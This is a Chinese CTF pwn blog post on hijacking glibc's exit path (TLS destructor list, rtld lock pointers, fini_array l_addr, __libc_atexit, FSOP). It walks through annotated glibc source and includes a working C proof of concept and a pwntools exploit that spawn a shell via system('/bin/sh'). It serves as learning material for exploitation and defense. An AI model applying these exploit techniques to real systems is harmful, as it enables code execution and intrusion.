CTF pwn 中 exit 利用姿势

pwn 小菜鸡,目前就见到这一些,如果还有再跟进吧。 (,・ω・,)
之前都写在语雀,这个挺有意思,就发布一下 exit -xiaocangxu

为什么要关注 exit 的利用?

 在 CTF 的 Pwn 题目中,为什么我们需要特别注意 exit 函数的利用?首先,许多程序可能会通过调用 exit 来正常终止其执行流程。回顾一下典型的程序执行流程:程序从 start 开始,经过 _libc_start_main,最终到达 main 函数。值得注意的是,当程序通过正常的执行路径结束时,也会调用 _libc_start_main 中的 exit() 函数。

 因此,如果我们能够劫持 exit 函数的执行,就有机会更容易地控制程序的执行流,从而为漏洞利用创造条件。

程序退出流程


exit 源码分析

 基于 glibc-2.31:exit 源代码

 调用glibc的exit相当于调用了__run_exit_handlers

void
exit (int status)
{
  __run_exit_handlers (status, &__exit_funcs, true, true);
}
libc_hidden_def (exit)
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
                     bool run_list_atexit, bool run_dtors)

 注意到调用 exit 的时候 run_list_atexitrun_dtors 被设置为了 trueexit_function_list 被设置为了__exit_funcs

 那么接下来我们关注一下:__run_exit_handlers

/* 调用所有通过`atexit`和`on_exit`注册的函数,
   按注册顺序的逆序执行,执行stdio清理,并以STATUS状态终止程序 */
void
attribute_hidden
__run_exit_handlers (
    int status,                     // 退出状态码
    struct exit_function_list **listp, // 退出函数链表指针
    bool run_list_atexit,           // 是否执行atexit注册的函数
    bool run_dtors                  // 是否执行TLS析构函数
)
{
    /* 1. 首先调用线程本地存储(TLS)的析构函数 */
#ifndef SHARED
    // 非共享库模式下,检查__call_tls_dtors是否存在
    if (&__call_tls_dtors != NULL)
#endif
    if (run_dtors)                  // 如果允许执行析构
        __call_tls_dtors ();        // 调用TLS析构函数

    /* 2. 处理注册的退出函数(atexit/on_exit等) 
       采用循环处理可能的递归退出调用(例如退出函数中再次调用exit) */
    while (true)
    {
        struct exit_function_list *cur;

        // 加锁保护全局退出函数链表
        __libc_lock_lock (__exit_funcs_lock);

    restart:
        cur = *listp; // 获取当前链表头节点

        if (cur == NULL) // 链表为空,表示处理完成
        {
            // 标记退出处理完成,禁止后续注册
            __exit_funcs_done = true;
            __libc_lock_unlock (__exit_funcs_lock);
            break; // 退出循环
        }

        // 逆序遍历当前链表节点中的退出函数(从最新注册的开始)
        while (cur->idx > 0)
        {
            // 获取当前函数结构体(索引递减实现逆序)
            struct exit_function *const f = &cur->fns[--cur->idx];
            const uint64_t new_exitfn_called = __new_exitfn_called;

            // 解锁,避免执行外部函数时死锁
            __libc_lock_unlock (__exit_funcs_lock);

            // 根据函数类型执行不同处理
            switch (f->flavor)
            {
                void (*atfct) (void);                // atexit函数类型
                void (*onfct) (int status, void *arg); // on_exit函数类型
                void (*cxafct) (void *arg, int status); // __cxa_atexit函数类型

            case ef_free: // 已释放的函数,跳过
            case ef_us:   // 未使用的条目,跳过
                break;
                
            case ef_on:   // on_exit注册的函数
                onfct = f->func.on.fn;
#ifdef PTR_DEMANGLE
                PTR_DEMANGLE (onfct); // 解密函数指针(安全防护)
#endif
                // 调用on_exit函数,传递状态和参数
                onfct (status, f->func.on.arg);
                break;

            case ef_at:   // atexit注册的函数
                atfct = f->func.at;
#ifdef PTR_DEMANGLE
                PTR_DEMANGLE (atfct); // 解密函数指针
#endif
                atfct (); // 无参调用
                break;

            case ef_cxa:  // __cxa_atexit注册的函数
                // 标记为已释放,避免竞态条件下重复调用(BZ 22180)
                f->flavor = ef_free;
                cxafct = f->func.cxa.fn;
#ifdef PTR_DEMANGLE
                PTR_DEMANGLE (cxafct); // 解密函数指针
#endif
                // 调用__cxa_atexit函数,传递参数和状态
                cxafct (f->func.cxa.arg, status);
                break;
            }

            // 重新加锁,检查全局状态
            __libc_lock_lock (__exit_funcs_lock);

            // 如果在处理期间有新退出函数注册,则重新开始处理
            if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
                goto restart; // 跳转到restart标签重新处理
        }

        // 当前链表节点处理完毕,移动到下一个节点
        *listp = cur->next;
        if (*listp != NULL) // 非最后一个节点(最后一个为静态分配,不能释放)
            free (cur);     // 释放当前节点内存

        __libc_lock_unlock (__exit_funcs_lock); // 解锁
    }

    /* 3. 执行atexit注册的钩子函数 */
    if (run_list_atexit)
        RUN_HOOK (__libc_atexit, ()); // 运行atexit相关钩子

    /* 4. 最终调用_exit终止程序 */
    _exit (status); // 不会返回,直接结束程序
}

 大概的执行逻辑如下:

  1. TLS析构处理
    先调用线程本地存储的析构函数(__call_tls_dtors),确保线程相关资源正确释放。
  2. 退出函数链表处理
    • 逆序执行:通过cur->idx递减遍历,实现先进后出的逆序调用。
    • 线程安全:使用__exit_funcs_lock锁保护链表操作,避免多线程竞争。
    • 动态扩展处理:若在处理过程中有新函数注册(__new_exitfn_called变化),则跳转重启循环,确保处理所有新增函数。
    • 函数类型区分:根据flavor字段处理不同类型(ef_on, ef_at, ef_cxa)的退出函数,其中:
      • ef_on:调用on_exit注册的函数,传递状态和参数。
      • ef_at:调用atexit注册的无参函数。
      • ef_cxa:处理动态库的析构(__cxa_atexit),调用后标记为ef_free防止重复调用。
    • 指针混淆处理:通过PTR_DEMANGLE对函数指针解密,防止恶意篡改(安全机制)。
  3. 资源释放与边界检查
    • 释放已处理的链表节点(除静态分配的最后一个节点)。
    • 处理完成后设置__exit_funcs_done,禁止后续注册。
  4. 最终终止
    • 执行可能的atexit钩子后,调用_exit系统调用结束程序,确保不返回。

姿势一:__call_tls_dtors

利用原理

 先发现,exit 会首先调用线程本地存储(TLS)的析构函数:

/* 1. 首先调用线程本地存储(TLS)的析构函数 */
#ifndef SHARED
    // 非共享库模式下,检查__call_tls_dtors是否存在
    if (&__call_tls_dtors != NULL)
#endif
    if (run_dtors)                  // 如果允许执行析构
        __call_tls_dtors ();        // 调用TLS析构函数
/* 调用析构函数。当线程从初始函数返回或进程通过 exit 函数退出时,会调用此函数。*/
void
__call_tls_dtors (void)
{
  /* 循环处理 tls_dtor_list 链表中的每一个元素,直到链表为空 */
  while (tls_dtor_list)
    {
      /* 获取当前链表节点,并将其保存在 cur 变量中 */
      struct dtor_list *cur = tls_dtor_list;
      /* 获取存储在当前节点中的析构函数指针 */
      dtor_func func = cur->func;
      
#ifdef PTR_DEMANGLE
      /* 如果定义了 PTR_DEMANGLE 宏,则对函数指针进行解码(如果需要) */
      PTR_DEMANGLE (func);
#endif

      /* 更新 tls_dtor_list 指针指向下一个节点,以便继续处理下一个析构函数 */
      tls_dtor_list = tls_dtor_list->next;
      
      /* 调用当前析构函数,传入对象指针作为参数 */
      func (cur->obj);

      /*
       * 确保 MAP 解引用操作发生在 l_tls_dtor_count 计数器递减之前。
       * 这样可以保护这个访问不受 _dl_close_worker 中潜在 DSO 卸载的影响,
       * 当 l_tls_dtor_count 达到 0 时会发生卸载。更多细节请参见并发说明。
       */
      atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
      
      /* 释放当前节点占用的内存 */
      free (cur);
    }
}
/* libc_hidden_def 是一个宏,用于指定该符号应隐藏于动态链接库内部 */
libc_hidden_def (__call_tls_dtors)

 为了更好地理解上述代码,我们需要了解 dtor_list 结构体的定义:

/* 定义一个用于存储TLS对象析构函数及其相关信息的链表节点结构 */
struct dtor_list
{
  dtor_func func;       	// 析构函数指针,类型为 dtor_func,通常占用8字节(64位系统)
  void *obj;            	// 指向需要调用析构函数的对象的指针
  struct link_map *map; 	// 指向 link_map 结构的指针,link_map 一般用于动态链接库的管理
  struct dtor_list *next; 	// 指向下一个 dtor_list 节点的指针,形成链表结构
};

 从而我们不难得出,如果我们劫持得了tls_dtor_list链表,就可以进入循环并控制dtor_list结构体cur,从而控制其成员变量funcobj,然后实现任意函数执行,并且第一个参数可控!

 如果我们查看汇编代码,可能会更清楚地计算偏移:

Dump of assembler code for function __call_tls_dtors:
   0x00007ffff7c45d60 <+0>:     endbr64
   0x00007ffff7c45d64 <+4>:     push   rbp
   0x00007ffff7c45d65 <+5>:     push   rbx
   0x00007ffff7c45d66 <+6>:     sub    rsp,0x8
   0x00007ffff7c45d6a <+10>:    mov    rbx,QWORD PTR [rip+0x1d401f]        # 0x7ffff7e19d90
   0x00007ffff7c45d71 <+17>:    mov    rbp,QWORD PTR fs:[rbx]
   0x00007ffff7c45d75 <+21>:    test   rbp,rbp
   0x00007ffff7c45d78 <+24>:    je     0x7ffff7c45dbd <__call_tls_dtors+93>
   0x00007ffff7c45d7a <+26>:    nop    WORD PTR [rax+rax*1+0x0]
   0x00007ffff7c45d80 <+32>:    mov    rdx,QWORD PTR [rbp+0x18]
   0x00007ffff7c45d84 <+36>:    mov    rax,QWORD PTR [rbp+0x0]
   0x00007ffff7c45d88 <+40>:    ror    rax,0x11
   0x00007ffff7c45d8c <+44>:    xor    rax,QWORD PTR fs:0x30
   0x00007ffff7c45d95 <+53>:    mov    QWORD PTR fs:[rbx],rdx
   0x00007ffff7c45d99 <+57>:    mov    rdi,QWORD PTR [rbp+0x8]
   0x00007ffff7c45d9d <+61>:    call   rax
   0x00007ffff7c45d9f <+63>:    mov    rax,QWORD PTR [rbp+0x10]
   0x00007ffff7c45da3 <+67>:    lock sub QWORD PTR [rax+0x468],0x1
   0x00007ffff7c45dac <+76>:    mov    rdi,rbp
   0x00007ffff7c45daf <+79>:    call   0x7ffff7c28370 <free@plt>
   0x00007ffff7c45db4 <+84>:    mov    rbp,QWORD PTR fs:[rbx]
   0x00007ffff7c45db8 <+88>:    test   rbp,rbp
   0x00007ffff7c45dbb <+91>:    jne    0x7ffff7c45d80 <__call_tls_dtors+32>
   0x00007ffff7c45dbd <+93>:    add    rsp,0x8
   0x00007ffff7c45dc1 <+97>:    pop    rbx
   0x00007ffff7c45dc2 <+98>:    pop    rbp
   0x00007ffff7c45dc3 <+99>:    ret
End of assembler dump.

 现在我们来谈谈如何实际利用这个漏洞。我们的目标是触发 system(‘/bin/sh’) 来获取 shell。

  1. 构造一个 chunk:使 [chunk_addr] 为加密后的 system 地址,[chunk_addr+8] 为 ‘/bin/sh’ 字符串地址。
  2. 泄露 ld 基地址:然后得到 fs 的基地址。
  3. 赋值 tls_dtor_list:将 fs-88(tls_dtor_list) 赋值为该堆地址 chunk_addr。
  4. 调用 exit:最后调用 exit 函数或者让程序正常从 main 函数返回结束,就可以执行 system(‘/bin/sh’) 来 getshell。

poc

// gcc -g -o poc poc.c
// 基于 ubuntu22.04(Ubuntu GLIBC 2.35-0ubuntu3.9) 编写的 poc
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned long long rol(unsigned long long value)
{
    return (value << 0x11) | (value >> (64 - 0x11)) & 0xffffffffffffffff;
}

int main()
{
    unsigned long long fs_base;
    unsigned long long index = 0xffffffffffffffa8;
    unsigned long long tls_dtor_list_addr;
    unsigned long long random_num;

    unsigned long long libc_base = (unsigned long long)&system - 0x50d70;
    unsigned long long *str_bin_sh = (unsigned long long *)(libc_base + 0x1d8678);
    asm volatile("mov %%fs:0x0, %0" : "=r"(fs_base));
    printf("libc base address: 0x%llx\n", libc_base);
    printf("fs base address: 0x%llx\n", fs_base);

    tls_dtor_list_addr = fs_base - 88;
    random_num = *(unsigned long long *)(fs_base + 0x30);

    void *ptr = malloc(0x20);
    *(unsigned long long *)ptr = rol((unsigned long long)&system ^ random_num);
    *(unsigned long long *)(ptr + 8) = (unsigned long long)str_bin_sh;
    *(unsigned long long *)tls_dtor_list_addr = (unsigned long long)ptr;

    return 0;
}

成功案例


劫持 rtld_lock_default_(un)lock_recursive

利用原理

exit 会先 __run_exit_handlers 接下来调用到 _dl_fini 函数 _dl_fini 函数开头的 for 循环中就调用到了rtld_lock_default_lock_recursive 函数 ,在 glibc-2.34 前的版本中,rtld_lock_default_(un)lock_recursive 实际上就是函数指针,所以有的地方把这个叫为 exit hook
_rtld_golobal

 我们来看一下 _dl_fini 的源代码:

void
_dl_fini (void)
{
  /* 前方高能!我们需要为所有加载的对象,在所有命名空间中调用它们的析构函数。
     根据ELF规范的要求,模块间的依赖关系必须被考虑到。也就是说,一个模块的析构函数
     必须在其所有依赖模块之前被调用。

     更复杂的是,我们不能简单地按照构造函数的逆序来调用这些析构函数。因为用户可能通过
     `dlopen` 动态加载了其他模块及其依赖项,所以我们需要从头开始重新确定模块的调用顺序。*/

  /* 主命名空间的析构函数最后执行。对于其他命名空间,我们按照命名空间ID的逆序来执行它们的析构函数。*/
#ifdef SHARED
  int do_audit = 0; // 是否进行审计
 again: // 审计循环标签
#endif
  for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns) // 遍历所有的命名空间
    {
      /* 防止并发加载和卸载 */
      __rtld_lock_lock_recursive (GL(dl_load_lock));

      unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
      /* 如果命名空间为空或者用于审计DSO,则无需执行任何操作 */
      if (nloaded == 0
#ifdef SHARED
	  || GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
	  )
	__rtld_lock_unlock_recursive (GL(dl_load_lock));
      else
	{
	  /* 分配数组以保存所有指针,并将指针复制进去 */
	  struct link_map *maps[nloaded];

	  unsigned int i;
	  struct link_map *l;
	  assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL);
	  for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
	    /* 不处理二级命名空间中的ld.so */
	    if (l == l->l_real)
	      {
		assert (i < nloaded);

		maps[i] = l;
		l->l_idx = i;
		++i;

		/* 提高所有对象的 l_direct_opencount 计数,防止它们在此过程中被 dlclose() */
		++l->l_direct_opencount;
	      }
	  assert (ns != LM_ID_BASE || i == nloaded);
	  assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
	  unsigned int nmaps = i;

	  /* 对模块进行排序,跳过主命名空间搜索列表前端的二进制文件本身 */
	  _dl_sort_maps (maps + (ns == LM_ID_BASE), nmaps - (ns == LM_ID_BASE),
			 NULL, true);

	  /* 从此处起不再依赖加载对象的链表,因为我们有自己的列表(maps)。由于开放计数过高,
	     列表成员不会消失,将在循环中递减。因此释放锁,以便从析构函数间接访问此锁的代码可以正常工作。*/
	  __rtld_lock_unlock_recursive (GL(dl_load_lock));

	  /* 'maps' 现在包含按正确顺序排列的对象。现在调用析构函数。我们需要从前向后处理这个数组。*/
	  for (i = 0; i < nmaps; ++i)
	    {
	      struct link_map *l = maps[i];

	      if (l->l_init_called)
		{
		  /* 确保如果被调用两次不会发生任何事情 */
		  l->l_init_called = 0;

		  /* 是否存在析构函数? */
		  if (l->l_info[DT_FINI_ARRAY] != NULL
		      || l->l_info[DT_FINI] != NULL)
		    {
		      /* 调试模式下首先打印消息 */
		      if (__builtin_expect (GLRO(dl_debug_mask)
					    & DL_DEBUG_IMPCALLS, 0))
			_dl_debug_printf ("\ncalling fini: %s [%lu]\n\n",
					  DSO_FILENAME (l->l_name),
					  ns);

		      /* 首先检查是否存在数组形式的析构函数 */
		      if (l->l_info[DT_FINI_ARRAY] != NULL)
			{
			  ElfW(Addr) *array =
			    (ElfW(Addr) *) (l->l_addr
					    + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
              // 实际上 l->l_info[DT_FINI_ARRAY]->d_un.d_ptr 指针指向程序中的 fini_array 段的地址
			  unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
					    / sizeof (ElfW(Addr)));
			  while (i-- > 0)
			    ((fini_t) array[i]) (); // 调用数组中的每个析构函数
			}

		      /* 接下来尝试旧式的析构函数 */
		      if (l->l_info[DT_FINI] != NULL)
			DL_CALL_DT_FINI
			  (l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
		    }

#ifdef SHARED
		  /* 审计检查点:另一个对象关闭 */
		  if (!do_audit && __builtin_expect (GLRO(dl_naudit) > 0, 0))
		    {
		      struct audit_ifaces *afct = GLRO(dl_audit);
		      for (unsigned int cnt = 0; cnt < GLRO(dl_naudit); ++cnt)
			{
			  if (afct->objclose != NULL)
			    {
			      struct auditstate *state
				= link_map_audit_state (l, cnt);
			      /* 返回值被忽略 */
			      (void) afct->objclose (&state->cookie);
			    }
			  afct = afct->next;
			}
		    }
#endif
		}

	      /* 纠正之前的增量 */
	      --l->l_direct_opencount;
	    }
	}
    }

#ifdef SHARED
  if (! do_audit && GLRO(dl_naudit) > 0)
    {
      do_audit = 1;
      goto again; // 如果有审计需求,则再次遍历所有命名空间
    }

  if (__glibc_unlikely (GLRO(dl_debug_mask) & DL_DEBUG_STATISTICS))
    _dl_debug_printf ("\nruntime linker statistics:\n"
		      "           final number of relocations: %lu\n"
		      "final number of relocations from cache: %lu\n",
		      GL(dl_num_relocations),
		      GL(dl_num_cache_relocations)); // 输出运行时链接器统计信息
#endif
}

 于是我们就得到了如下利用方法:

 通过更改指向 rtld_lock_unlock_recursive (或 rtld_lock_lock_recursive ) 函数的指针,在退出时劫持程序。
 需注意该函数其实在 ld 中(有的时候,可能本地和远程有偏移上的区别,可能会在地址的第 2 字节处发生变化,因此可以爆破 256 种可能得到远程环境的精确偏移,不过这个是题外话了)。
 具体利用方法如下:

  • rtld_lock_default_lock_recursivertld_lock_default_unlock_recursiveone_gadget ,
  • rtld_lock_default_lock_recursivertld_lock_default_unlock_recursivesystem,并且把 _rtld_global._dl_load_lock.mutex 的值改为 /bin/sh\x00

劫持 fini_array 的 l->l_addr

利用原理

 或许见过 fini_array 中填充数据,但是劫持 l->l_addr 是什么操作?
可以参考:de1ctf_2019_unprintable(_dl_fini的l_addr劫持妙用)_dl-fini.c-CSDN博客

修正部分的地方:
伪造 fini_array:本来l->l_addr为基地址,而l->l_info[DT_FINI_ARRAY]->d_un.d_ptr指针指向程序中的fini_array段的相对地址,如果劫持l_addr,使得l->l_addr + l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr偏移到可控地址里,这样,我们就能在可控地址里伪造 fini_array,进而进行二次利用。

部分小 tip:
 上面的 l 在调试的时候可以用:_rtld_global._dl_ns[0]._ns_loaded (要求有符号表)
DT_FINI_ARRAY 实际上就是 26。

 话不多说,上一个简单的例题就明白了。

例题:nu1lCTF Junior 2025 Remake

题目如下:
 保护全开,有一次非栈上格式化字符串(有点短)
在这里插入图片描述
在这里插入图片描述

 关键在于如何再次执行 main ,然后执行 vuln ,看看栈,有什么可以利用的:

在这里插入图片描述
 实际上可利用的就是下面这个:
在这里插入图片描述
 按照上面的思路看看:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
 实际上就是这个啦:
在这里插入图片描述
 思路很明显了,构造格式化字符串修改 l->l_addr,使得 _rtld_global._dl_ns[0]._ns_loaded->l_addr+_rtld_global._dl_ns[0]._ns_loaded->l_info[26]->d_un.d_ptr 中存储 main 的地址,再次执行,即可回到 main 中执行。接下来的 vuln 就简单力。

main 的存储地址(本题的 gitf !):
在这里插入图片描述

 我们可以得到如下的 exp:

#!/usr/bin/env python3

'''
    author: hamst3r
    time: 2025-02-13 13:56:01
'''
from pwn import *

context(log_level="debug", arch="amd64", os="linux") 

filename = "pwn_patched"
libcname = "/home/ubuntu/.config/cpwn/pkgs/2.35-0ubuntu3.8/amd64/libc6_2.35-0ubuntu3.8_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 1337
elf = context.binary = ELF(filename)
context.terminal =  ['tmux', 'splitw', '-h']
if libcname:
    libc = ELF(libcname)
gs = '''
b main
set debug-file-directory /home/ubuntu/.config/cpwn/pkgs/2.35-0ubuntu3.8/amd64/libc6-dbg_2.35-0ubuntu3.8_amd64/usr/lib/debug
set directories /home/ubuntu/.config/cpwn/pkgs/2.35-0ubuntu3.8/amd64/glibc-source_2.35-0ubuntu3.8_all/usr/src/glibc/glibc-2.35
'''

def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript = gs)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process(elf.path)
        # return gdb.debug(elf.path, gdbscript = gs)

p = start()

payload = b'%8c%30$hhn\x00' 
p.sendline(payload)
# _rtld_global._dl_ns[0]._ns_loaded->l_addr+_rtld_global._dl_ns[0]._ns_loaded->l_info[26]->d_un.d_ptr = _data_rel_ro

# 格式化字符串泄露 libc_base 和 stack_addr
p.recvuntil(b'\x80')
p.sendline(b'%11$p.%6$p.')
p.recvuntil(b'0x')
libc_base = int(p.recvuntil(b'.')[:-1], 16) - 0x265af0
success("libc_base: " + hex(libc_base))

p.recvuntil(b'0x')
stack_addr = int(p.recvuntil(b'.')[:-1], 16)
success("stack_addr: " + hex(stack_addr))

# 超长的栈上的格式化字符串
pop_rdi = libc_base + 0x000000000002a3e5
system = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
success("system: " + hex(system))
success("binsh_addr: " + hex(binsh_addr))

# 调试的时候,好像溢出不到 rbp,用格式化字符串构造 ROP
payload = fmtstr_payload(
    6,
    {
        stack_addr-0x98: pop_rdi+1,
        stack_addr-0x90: pop_rdi,
        stack_addr-0x88: binsh_addr,
        stack_addr-0x80: system,
    }
)
# attach(p, 'b *$rebase(0x125D)')
p.sendline(payload)

p.interactive()

篡改 __libc_atexit

利用原理

exit hook - 狒猩橙 - 博客园 中提到的一个有意思的劫持方法,关键代码:

if (run_list_atexit)
    RUN_HOOK (__libc_atexit, ());

_exit (status);
void
exit (int status)
{
    __run_exit_handlers (status, &__exit_funcs, true);
}
libc_hidden_def (exit)
extern void __run_exit_handlers (int status, struct exit_function_list **listp,
                                 bool run_list_atexit)
    attribute_hidden __attribute__ ((__noreturn__));
void
exit (int status)
{
    __run_exit_handlers (status, &__exit_funcs, true, true);
}

static struct exit_function_list initial;
struct exit_function_list *__exit_funcs = &initial;
uint64_t __new_exitfn_called;

/* Call all functions registered with `atexit' and `on_exit',
   in the reverse of the order in which they were registered
   perform stdio cleanup, and terminate program execution with STATUS.  */
void
__run_exit_handlers (int status, struct exit_function_list **listp,
        bool run_list_atexit, bool run_dtors)
{
    /* First, call the TLS destructors.  */
    if (run_dtors)
        __call_tls_dtors ();
    __libc_lock_lock (__exit_funcs_lock);
    /* We do it this way to handle recursive calls to exit () made by
       the functions registered with `atexit' and `on_exit'. We call
       everyone on the list and use the status value in the last
       exit (). */
    while (true)
    {
        struct exit_function_list *cur;
restart:
        cur = *listp;
        if (cur == NULL)
        {
            /* Exit processing complete.  We will not allow any more
               atexit/on_exit registrations.  */
            __exit_funcs_done = true;
            break;
        }
        while (cur->idx > 0)
        {
            struct exit_function *const f = &cur->fns[--cur->idx];
            const uint64_t new_exitfn_called = __new_exitfn_called;
            switch (f->flavor)
            {
                void (*cxafct) (void *arg, int status);
                void *arg;
                case ef_free:
                case ef_us:
                    break;
                case ef_on:
                    ...
                case ef_at:
                    ...
                case ef_cxa:
                    /* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
                       we must mark this function as ef_free.  */
                    f->flavor = ef_free;
                    cxafct = f->func.cxa.fn;
                    arg = f->func.cxa.arg;
                    /* Unlock the list while we call a foreign function.  */
                    __libc_lock_unlock (__exit_funcs_lock);
                    cxafct (arg, status);
                    __libc_lock_lock (__exit_funcs_lock);
                    break;
            }
            if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
                /* The last exit function, or another thread, has registered
                   more exit functions.  Start the loop over.  */
                goto restart;
        }
        *listp = cur->next;
        if (*listp != NULL)
            /* Don't free the last element in the chain, this is the statically
               allocate element.  */
            free (cur);
    }
    __libc_lock_unlock (__exit_funcs_lock);
    if (run_list_atexit)
        RUN_HOOK (__libc_atexit, ());
    _exit (status);
}

在这里插入图片描述
在这里插入图片描述

int __fcloseall (void)
{
    /* Close all streams.  */
    return _IO_cleanup ();
}

 上面实际上就是:

text_set_element(__libc_atexit, _IO_cleanup);

 改掉 __libc_atexit (这个是一个段,参考exit()分析与利用-安全客 - 安全资讯平台) 来实现 getshell。因为是通过利用 __libc_atexit 跳转到 _IO_cleanup ,接下来就是到熟悉的 _IO_FILE 了。

  • 优点是任意地址改时比上面的操作简单,所改函数就在 libc 里,而不是在 ld 里。
  • 缺点是无法加参数,能不能成功取决于栈结构是否匹配 one_gadget

FSOP

利用原理

 老生常谈了,众所周知,_IO_cleanup 会做一些 IO 清理相关的工作。前文说到,exit 会执行 _IO_cleanup

int _IO_cleanup(void)
{
  /* 刷新所有流 */
  int result = _IO_flush_all_lockp(0);

  /* 关闭所有流的缓冲区 */
  _IO_unbuffer_all();

  return result;
}

 程序执行 _IO_flush_all_lockp 函数刷新 _IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush ,也对应着会调用 _IO_FILE_plus.vtable 中的 _IO_overflow

 接下来就是改这个 _IO_overflow,不过在高版本有 vtable 的一些校验,无法正常劫持,可以用 House of appleHouse of obstack 等技巧进行配合进行后续攻击,这里就不赘述了!


参考链接

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值